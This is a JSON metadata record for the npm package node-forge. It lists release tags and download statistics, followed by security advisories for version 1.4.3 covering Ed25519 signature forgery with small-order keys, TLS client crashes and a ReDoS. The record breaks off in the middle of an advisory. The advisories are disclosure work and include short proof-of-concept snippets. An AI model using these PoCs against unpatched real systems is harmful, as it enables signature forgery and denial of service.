/0.2.8","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.8/manifests","release_url":null},{"name":"0.2.7","sha":"a1910854430b1ce19bd236220988ee686b57dd55","kind":"commit","published_at":"2013-09-18T18:06:00.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.7","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.7/manifests","release_url":null},{"name":"0.2.6","sha":"eb3d346c70f8f5c4008afa99200b49ac9e90d1bf","kind":"commit","published_at":"2013-09-15T18:40:24.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.6","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.6/manifests","release_url":null},{"name":"0.2.5","sha":"b99cb0d1eb3ce16c0f7d997b96404372c54a8297","kind":"commit","published_at":"2013-09-13T01:08:53.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.5","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.5/manifests","release_url":null},{"name":"0.2.4","sha":"01914f488acd4b8e8217cdf36e2f4fdfe10edcd7","kind":"commit","published_at":"2013-08-19T16:07:52.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.4","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.4/manifests","release_url":null},{"name":"0.2.3","sha":"2260a591814e5e58784c773d122ae0dfc3a4ac89","kind":"commit","published_at":"2013-08-17T00:55:01.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.3","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.3/manifests","release_url":null},{"name":"0.2.2","sha":"424efbc266bafa0c3c925c466dedacf8d00b4213","kind":"commit","published_at":"2013-08-16T01:25:51.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.2","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.2/manifests","release_url":null},{"name":"0.2.1","sha":"0a1cb9344eb5a18a4f61339ee1af02211561b2c4","kind":"commit","published_at":"2013-08-15T21:05:59.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.1","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.1/manifests","release_url":null},{"name":"0.2.0","sha":"3563ac7d778f9807d6671ab7f4a892a7ec6f74d5","kind":"commit","published_at":"2013-08-14T19:49:22.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.2.0","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.2.0/manifests","release_url":null},{"name":"0.1.15","sha":"9cd5abd66fea22f9503180a3f10b87372babb773","kind":"commit","published_at":"2013-08-06T05:18:38.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.1.15","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.1.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.1.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.15/manifests","release_url":null},{"name":"0.1.14","sha":"9c689f2f2b88d5bb7bff1c3e5155b3a697ed00ae","kind":"commit","published_at":"2013-08-02T03:40:58.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.1.14","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.1.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.1.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.14/manifests","release_url":null},{"name":"0.1.13","sha":"8c896823103058320651b446d5e01b49e6c42da2","kind":"commit","published_at":"2013-08-02T02:48:36.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.1.13","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.1.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.1.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.13/manifests","release_url":null},{"name":"0.1.12","sha":"e225c85fa1a667e9c1c83c8cce646acdf77e1adb","kind":"commit","published_at":"2013-08-01T18:04:37.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.1.12","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.1.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.12/manifests","release_url":null},{"name":"0.1.11","sha":"a02f2e70ca9ab5c5e3ac412454009593768d3efa","kind":"commit","published_at":"2013-08-01T04:43:08.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.1.11","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.1.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.1.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.11/manifests","release_url":null},{"name":"0.1.10","sha":"1988263cbdb13586e9d9f1054eb8204f9a5f356b","kind":"commit","published_at":"2013-07-30T21:10:06.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.1.10","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.10/manifests","release_url":null},{"name":"0.1.9","sha":"a8a97aea31d24269eb0c7f59ce3dd1e1d88abb98","kind":"commit","published_at":"2013-07-30T15:26:19.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.1.9","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.9/manifests","release_url":null},{"name":"0.1.8","sha":"211ab4193591189dd6ffb25607ca780c7b7a74a8","kind":"commit","published_at":"2013-07-30T04:46:25.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.1.8","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.8/manifests","release_url":null},{"name":"0.1.7","sha":"2c2267380d5ef8ad28d6b99da5804373dab1794b","kind":"commit","published_at":"2013-07-30T03:30:59.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.1.7","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.7/manifests","release_url":null},{"name":"0.1.6","sha":"001f3a462c8b64282add20d3d5b251a3f3a4adee","kind":"commit","published_at":"2013-07-29T16:06:03.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.1.6","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.6/manifests","release_url":null},{"name":"0.1.5","sha":"234f070d63507255003c1531413266fb8add59d0","kind":"commit","published_at":"2013-07-23T19:39:06.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.1.5","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.5/manifests","release_url":null},{"name":"0.1.4","sha":"0977fefc1005c321e37cd44adfcbbd1b080c8df6","kind":"commit","published_at":"2013-06-26T20:15:40.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.1.4","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.4/manifests","release_url":null},{"name":"0.1.3","sha":"29fd9bfd2aedbadfaccf5cf8a834fd449e40c7b2","kind":"commit","published_at":"2013-06-24T20:29:23.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.1.3","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.3/manifests","release_url":null},{"name":"0.1.2","sha":"288f2676a4895266693639cc052c739b7ab537f1","kind":"commit","published_at":"2013-06-19T17:19:01.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.1.2","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.1.2/manifests","release_url":null}]},"repo_metadata_updated_at":"2026-11-11T05:24:37.863Z","dependent_packages_count":2329,"downloads":188630428,"downloads_period":"last-month","dependent_repos_count":3039204,"rankings":{"downloads":0.021055087117134188,"dependent_repos_count":0.005777143539291695,"dependent_packages_count":0.034389062963745824,"stargazers_count":1.361078589960803,"forks_count":1.3656510211032755,"docker_downloads_count":0.026804850829225447,"average":0.4691259592522459},"purl":"pkg:npm/node-forge","advisories":[{"uuid":"GSA_kwCzR0hTQS02ODg5LXZmNngtZjNnNc4ACBbc","url":"https://github.com/advisories/GHSA-6889-vf6x-f3g5","title":"Forge: Ed25519 signature verification accepts small-order public keys","description":"### Summary\n`ed25519.verify()` does not reject public keys of small order, such as the identity point. Under such a key, a signature with `S = 0` and a small-order `R` verifies for many messages, or for every message with the identity key, without any private key. Fixed in node-forge 1.4.3.\n\n### Details\n`crypto_sign_open()` in `lib/ed25519.js` decodes the public key `A` with `unpackneg()`, which only checks that the point is on the curve, and then checks `R == [S]B - [k]A` with `k = SHA-512(R || A || M)`. Nothing rejects public keys of small order: the identity point, the other 7 points of order 2, 4 or 8, and their non-canonical encodings with `y \u003e= p`.\n\nWith `S = 0`, the check becomes `R == [k](-A)`. For a small-order `A`, `[k](-A)` is one of at most 8 small-order points, so an attacker can make a valid signature by trying the small-order values of `R`. For the identity key (`01 00 … 00`), `R = identity` and `S = 0` verifies for every message. For the other small-order keys, a given message can be forged with high probability. No private key is involved. The `S \u003c L` check added for CVE-2026-33895 (GHSA-q67f-28xg-22rw) doesn't apply, because `S = 0` is canonical.\n\nKeys produced by Ed25519 key generation (`ed25519.generateKeyPair()` or any RFC 8032 implementation) are never small-order, so signatures under them cannot be forged this way. Applications are affected when they verify signatures against a public key an attacker can choose (for example a key included with the signed data, a self-registered key, or a key in an attacker-controlled document) and rely on the signature being bound to the message: proof of possession, attribution, non-repudiation or deduplication.\n\nRFC 8032 doesn't require rejecting small-order public keys, and implementations differ. libsodium rejects them, and Node.js `crypto.verify()` (OpenSSL) rejects these signatures.\n\nThe fix rejects a public key `A` when `[8]A` is the identity point. This covers all small-order points and their non-canonical encodings.\n\n#### Patches\nFixed in node-forge 1.4.3. `ed25519.verify()` returns `false` for small-order public keys.\n\n#### Workarounds\nBefore calling `ed25519.verify()` with a public key from untrusted input, reject keys whose 32-byte encoding is one of the small-order points (the identity `01 00 … 00` and the other encodings that libsodium blocks), or only verify against keys you generated or have otherwise validated.\n\n#### Resources\n- RFC 8032, Section 5.1.7 (Ed25519 verification): https://www.rfc-editor.org/rfc/rfc8032#section-5.1.7\n- GHSA-q67f-28xg-22rw / CVE-2026-33895 (a different Ed25519 verification issue, fixed in 1.4.0): https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw\n\n#### Severity\nCVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N (3.7, Low)\nCVSS 4.0 (informational): CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N (6.3)\nCVSS 4.0 rates this Moderate because its integrity weighting is higher; the severity rating follows CVSS 3.1.\n\n#### Credits\nReported by @analisaperlengkapan.\n\n### Proof of concept\nIdentity public key `A = 01 00 … 00` (32 bytes) and signature `R = 01 00 … 00`, `S = 00 … 00` (64 bytes):\n\n    forge.ed25519.verify({message: 'admin=true', encoding: 'utf8',\n      signature: SIG, publicKey: IDENTITY});\n    // \u003c= 1.4.2: true for any message; node:crypto.verify(): false\n    // 1.4.3: false\n\nOther small-order public keys (orders 2, 4 and 8, and non-canonical encodings) give forgeries for many messages with `S = 0` and a small-order `R`.\n\nRegression tests are in tests/unit/ed25519.js, and the reporter's PoC is in tests/pocs/ghsa-6889-vf6x-f3g5.js.\n\n### Impact\nApplications that verify Ed25519 signatures with node-forge against a public key that an attacker can choose are affected. An attacker can provide a small-order public key and then produce signatures that verify for many or all messages without a private key, defeating checks that rely on a signature being bound to its message under that key (proof of possession, attribution, non-repudiation, deduplication). Signatures under keys from honest key generation cannot be forged, and applications that only verify against their own or otherwise trusted keys are not affected.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-11-10T21:18:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-6889-vf6x-f3g5","https://github.com/digitalbazaar/forge/pull/1169","https://github.com/digitalbazaar/forge/commit/1b77e6f20082d7484479303d0252d5f427651295","https://github.com/digitalbazaar/forge/releases/tag/v1.4.3","https://github.com/advisories/GHSA-6889-vf6x-f3g5"],"source_kind":"github","identifiers":["GHSA-6889-vf6x-f3g5","CVE-2026-125335"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-11-10T22:01:02.100Z","updated_at":"2026-11-11T06:01:42.205Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02ODg5LXZmNngtZjNnNc4ACBbc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02ODg5LXZmNngtZjNnNc4ACBbc","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.3","vulnerable_version_range":"\u003c= 1.4.2"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02ODg5LXZmNngtZjNnNc4ACBbc/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13NHhyLWhxdjgtY2g0NM4ACBbb","url":"https://github.com/advisories/GHSA-w4xr-hqv8-ch44","title":"Forge: TLS client crash on an unsupported ServerHello compression method","description":"### Summary\nA `forge.tls` client accepts any compression method in the ServerHello, although it only offers no compression. An unknown method makes `connection.process()` throw an uncaught `Error` when the client handles ServerHelloDone, before the server is authenticated. A malicious server or an on-path attacker can use this to terminate a Node.js process. Fixed in node-forge 1.4.3.\n\n### Details\nThe client's ClientHello offers only the `null` compression method. `tls.parseHelloMessage()` in `lib/tls.js` stores the ServerHello's `compression_method` for the client without checking it (the code has a `TODO: handle compression methods`). When the client handles ServerHelloDone it calls `tls.createConnectionState()`, which throws `Error('Unsupported compression algorithm.')` for any method other than `null` (0) and `deflate` (1). The exception propagates out of `connection.process()`.\n\nThe ServerHello isn't authenticated until the server's Finished message, so an on-path attacker can change the compression byte of a genuine ServerHello; the certificate chain still verifies. Applications that pass socket data to `process()` without catching exceptions terminate. This includes `forge.tls.wrapSocket`, which calls `process()` from its socket data handler, and `forge.http`, which uses it. A `deflate` (1) method, also never offered, makes the handshake fail later with an error instead of a crash.\n\nServers are not affected: a server always selects no compression.\n\nThe fix fails the handshake with an `illegal_parameter` alert, through the connection's `error` callback, when the ServerHello selects any compression method other than `null`.\n\n#### Patches\nFixed in node-forge 1.4.3.\n\n#### Workarounds\nCatch exceptions thrown by `connection.process()` and close the socket.\n\n#### Resources\n- RFC 5246, section 7.4.1.3 (Server Hello): https://www.rfc-editor.org/rfc/rfc5246#section-7.4.1.3\n- Related: GHSA-525v-9gp9-w22h (another TLS client crash during the handshake, fixed in 1.4.1): https://github.com/digitalbazaar/forge/security/advisories/GHSA-525v-9gp9-w22h\n\n#### Severity\nCVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H (5.9, Moderate)\nCVSS 4.0 (informational): CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (8.2)\nCVSS 4.0 has no counterpart to 3.1's AC:H beyond AT:P and scores this higher; the severity rating follows CVSS 3.1.\n\n#### Credits\nReported by @alienkeric.\n\n### Proof of concept\nA server (or on-path attacker) sends a ServerHello with `compression_method` 0xff, followed by a valid Certificate and ServerHelloDone:\n\n    client.handshake();\n    client.process(serverHello + certificate + serverHelloDone);\n    // \u003c= 1.4.2: throws Error: Unsupported compression algorithm.\n    // 1.4.3: error callback with \"Unsupported compression method.\"\n\nThe reporter's PoC (a CA-issued server certificate and the default verify callback) is in tests/pocs/ghsa-w4xr-hqv8-ch44.js, and regression tests are in tests/unit/tls.js.\n\n### Impact\nApplications that use `forge.tls` as a client (directly, through `forge.tls.wrapSocket`, or through `forge.http`) and pass data from a network socket to `connection.process()` are affected. The server they connect to, or an on-path attacker, can make `process()` throw before the server is authenticated; if the application doesn't catch it, the Node.js process terminates, dropping all its connections. Servers built on `forge.tls` are not affected. There is no confidentiality or integrity impact.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-11-10T21:17:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-w4xr-hqv8-ch44","https://github.com/digitalbazaar/forge/pull/1169","https://github.com/digitalbazaar/forge/commit/1d9816d333c23c523ef2bd8b24282c87db2654ef","https://github.com/digitalbazaar/forge/releases/tag/v1.4.3","https://github.com/advisories/GHSA-w4xr-hqv8-ch44"],"source_kind":"github","identifiers":["GHSA-w4xr-hqv8-ch44","CVE-2026-125332"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-11-10T22:01:02.100Z","updated_at":"2026-11-11T06:01:42.206Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13NHhyLWhxdjgtY2g0NM4ACBbb","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13NHhyLWhxdjgtY2g0NM4ACBbb","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.3","vulnerable_version_range":"\u003c= 1.4.2"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13NHhyLWhxdjgtY2g0NM4ACBbb/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02Y3Y0LXA4bTctNHIyNc4ACBba","url":"https://github.com/advisories/GHSA-6cv4-p8m7-4r25","title":"Forge: ReDoS in forge.http response header and cookie trimming","description":"`forge.http` trims response header and `Set-Cookie` values with the regular expression `/\\s*$/`, which takes quadratic time on a long run of whitespace followed by another character. A server or on-path attacker can block a `forge.http` client for minutes with one large response header. Fixed in node-forge 1.4.3.\n\n### Details\n`_trimString()` in `lib/http.js` removes trailing whitespace with `str.replace(/\\s*$/, '')`. On a string of n whitespace characters followed by a non-whitespace character, the regular expression engine tries a match at each of the n positions and scans the rest of the run each time, so the work is O(n^2). `forge.http` calls `_trimString()` on every response header value read by `response.readHeader()`, and again on cookie names and values in `response.getCookies()`. There is no limit on header size.\n\nWith Node.js 24, an 80 KB header value takes about 4 seconds to parse, and 1 MB about 10 minutes, during which the event loop (or browser tab) is blocked.\n\n`forge.http` is not loaded by `require('node-forge')`. It is part of the `forge.all` bundle and needs a socket pool provided by the application (historically Flash sockets via `forge.xhr`), so few applications use it.\n\nThe fix trims trailing whitespace with a loop, as `lib/pem.js` has done since 1.4.1. The trimmed result is unchanged.\n\n#### Patches\nFixed in node-forge 1.4.3.\n\n#### Workarounds\nLimit the size of HTTP response headers before passing them to `forge.http`, for example in the socket pool's data handler.\n\n#### Resources\n- Related: GHSA-7wch-p9px-956x (ReDoS in PEM decoding, fixed in 1.4.1): https://github.com/digitalbazaar/forge/security/advisories/GHSA-7wch-p9px-956x\n\n#### Severity\nCVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H (5.9, Moderate)\nCVSS 4.0 (informational): CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (8.2)\nCVSS 4.0 has no counterpart to 3.1's AC:H beyond AT:P and scores this higher; the severity rating follows CVSS 3.1.\n\n#### Credits\nReported by @manus-pi.\n\n### Proof of concept\n    var response = forge.http.createResponse();\n    var ws = new Array(40001).join('\\t ');\n    response.readHeader(forge.util.createBuffer(\n      'HTTP/1.1 200 OK\\r\\nX-A: a' + ws + 'X\\r\\n\\r\\n'));\n    // \u003c= 1.4.2: about 4 seconds (quadratic in the whitespace length)\n    // 1.4.3: about 1 ms\n\nRegression tests are in tests/security/ghsa-6cv4-p8m7-4r25.js.\n\n### Impact\nApplications that use `forge.http` to talk to servers they don't control are affected. The server, or an on-path attacker, can send a response header that blocks the client's event loop for minutes, denying service to everything else in the process. There is no confidentiality or integrity impact.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-11-10T21:16:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-6cv4-p8m7-4r25","https://github.com/digitalbazaar/forge/pull/1169","https://github.com/digitalbazaar/forge/commit/326a4d0903ee46358bc849a5c3fd96d9c21489bd","https://github.com/digitalbazaar/forge/releases/tag/v1.4.3","https://github.com/advisories/GHSA-6cv4-p8m7-4r25"],"source_kind":"github","identifiers":["GHSA-6cv4-p8m7-4r25","CVE-2026-125333"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-11-10T22:01:02.100Z","updated_at":"2026-11-11T06:01:42.207Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02Y3Y0LXA4bTctNHIyNc4ACBba","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02Y3Y0LXA4bTctNHIyNc4ACBba","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.3","vulnerable_version_range":"\u003e= 0.1.2, \u003c= 1.4.2"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02Y3Y0LXA4bTctNHIyNc4ACBba/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qOHJ3LWpwOTktNDM1ds4ACBbZ","url":"https://github.com/advisories/GHSA-j8rw-jp99-435v","title":"Forge: TLS client crash on a handshake record received without a session","description":"### Summary\nA `forge.tls` client throws an uncaught `TypeError` from `connection.process()` when it receives a ServerHello while it has no session: after a `close_notify` alert or a call to `close()`, or before `handshake()` is called. A malicious server or an on-path attacker can use this to terminate a Node.js process. Fixed in node-forge 1.4.3.\n\n### Details\n`tls.handleHandshake()` in `lib/tls.js` updates the handshake digests with `c.session.md5.update(bytes)` before it calls the message handler. A client creates its session in `handshake()`, and `c.reset()` sets it to `null` when the connection is closed. Closing doesn't set the fail flag, and the client goes back to expecting a ServerHello, so a Handshake record received afterwards still reaches `handleHandshake()`, which throws 